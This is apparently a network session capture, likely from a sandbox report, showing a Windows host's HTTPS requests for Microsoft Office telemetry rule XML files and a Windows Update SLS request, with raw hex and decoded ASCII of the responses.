1	192.168.2.4	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:21:58 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:21:58 UTC	492	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:21:58 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: ac3306f4-b01e-00ab-523b-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102158Z-15b8b599d885ffrhhC1TEBtuv000000002v0000000008x99 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:21:58 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-23 10:21:58 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-23 10:21:59 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.4	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:01 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:01 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102201Z-178bfbc474btvfdfhC1NYCa2en000000049000000000drft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:01 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.4	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 1c744767-001e-0082-6060-3b5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102201Z-178bfbc474btrnf9hC1NYCb80g00000004kg0000000011rz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.4	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102201Z-174c587ffdfl22mzhC1TEBk40c00000002wg00000000csx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.4	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:01 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:01 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:01 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: 67d1adef-301e-0052-340f-3d65d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102201Z-178bfbc474b7cbwqhC1NYC8z4n0000000470000000008fda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:01 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.4	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102201Z-178bfbc474bnwsh4hC1NYC2ubs00000004g00000000013c9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:01 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u9zS8ZvMfDAPD9P&MD=8g8SzMP5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 10:22:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 614ddec7-e5bc-48a1-9596-6af9a0cbdf0e MS-RequestId: 79782a6f-6563-48a7-8799-56ea5a6df399 MS-CV: 9wdhfl+B0EG6Y8eu.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 10:22:01 GMT Connection: close Content-Length: 30005
